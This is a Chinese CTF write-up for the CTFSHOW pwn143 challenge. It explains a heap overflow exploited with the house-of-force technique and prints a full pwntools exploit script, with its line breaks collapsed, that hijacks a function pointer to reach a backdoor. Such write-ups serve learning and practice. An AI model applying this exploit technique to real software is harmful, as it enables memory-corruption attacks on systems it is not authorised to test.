当前位置: 首页 > news >正文

CTFSHOW pwn143 WP

checksec:

64位 IDA64打开 查看 整理main函数:


可以修改堆的长度 存在堆溢出

存在后门函数 且main函数的退出前会执行v4[1]位置的函数 该位置目前为goodbye_message函数

因为有着堆溢出且溢出长度没有限制 考虑house of force做法

先动态调试 找到该位置和top chunk的偏移

可以看到 第一个堆(变量v4)距离 top chunk 0x60

接下来将topchunk的size位修改为大数

最后申请一个大小为-(0x60 + 0x8)的堆(v4[0]往后挪:v4[1])

exp:

from pwn import *#p = process('./pwn143')
p = remote("pwn.challenge.ctf.show",  28288)
elf = ELF('./pwn143')
context.log_level = 'debug'def add(length, name):p.sendlineafter("Your choice:", b'2')p.sendlineafter(" length:", str(length))p.sendlineafter(" name:", name)def delete(index):p.sendlineafter(b'Your choice:' , b'4')p.sendlineafter(b'index:' , str(index))def edit(index, length, name):p.sendlineafter(b'Your choice:' , b'3')p.sendlineafter(b'index:' , str(index))p.sendlineafter(b'length of name:' , str(length))p.sendlineafter("name:", name)def show(index):p.sendlineafter(b'Your choice:' , b'1')flag_addr = 0x400D7Fpayload = b'a' * 0x30 + b'a' * 8 + p64(0xffffffffffffffff)
add(0x30, b'aaaa')edit(0, 0x41, payload)
size = 0xFFFFFFFFFFFFFF80
add(-(0x60 + 0x8), b'aaaa')
add(0x10, p64(flag_addr) * 2)
p.sendlineafter(b'Your choice:' , b'5')
p.interactive()

http://www.dtcms.com/a/242792.html

相关文章:

  • React19源码系列之合成事件机制
  • 数据库学习笔记(十五)--变量与定义条件与处理程序
  • 核方法、核技巧、核函数、核矩阵
  • Java 语言特性(面试系列2)
  • 关于Android camera2预览变形的坑
  • [创业之路-415]:经济学 - 价值、使用价值、交换价值的全面解析
  • MS9292+MS9332 HD/DVI转VGA转换器+HD环出带音频
  • HarmonyOS开发:设备管理使用详解
  • GISBox如何导入Revit格式的BIM数据?
  • Kotlin基础语法二
  • AI驱动下的商品详情API:2025年电商平台的智能化数据交互新趋势
  • <component :is=““>
  • 【C++】回调函数,是什么,怎么用?
  • iview组件库:关于分页组件的使用与注意点
  • Spring Boot 分层架构与数据流转详解
  • uniapp的请求封装,如何避免重复提交请求
  • php利用createSheet生成excel表格(控制行高列宽、文本自动换行及表头字体样式)
  • RestClient
  • 基于数字孪生的水厂可视化平台建设:架构与实践
  • 【python深度学习】Day 50 预训练模型+CBAM模块
  • Lighttpd 配置选项介绍
  • mysql教程笔记(四)-锁和innoDB存储引擎
  • 基于FPGA的PID算法学习———实现PI比例控制算法
  • 深度学习——简介
  • 【SQL学习笔记1】增删改查+多表连接全解析(内附SQL免费在线练习工具)
  • Vim 列操作命令完整学习笔记
  • EtherCAT 转 CANopen 网关与伺服器在配置软件上的配置步骤
  • 如何使用java把文件转成十六进制字符串
  • mybatisplus.BaseMapper#selectPage 使用方法
  • GO 语言中的flag包--易懂解释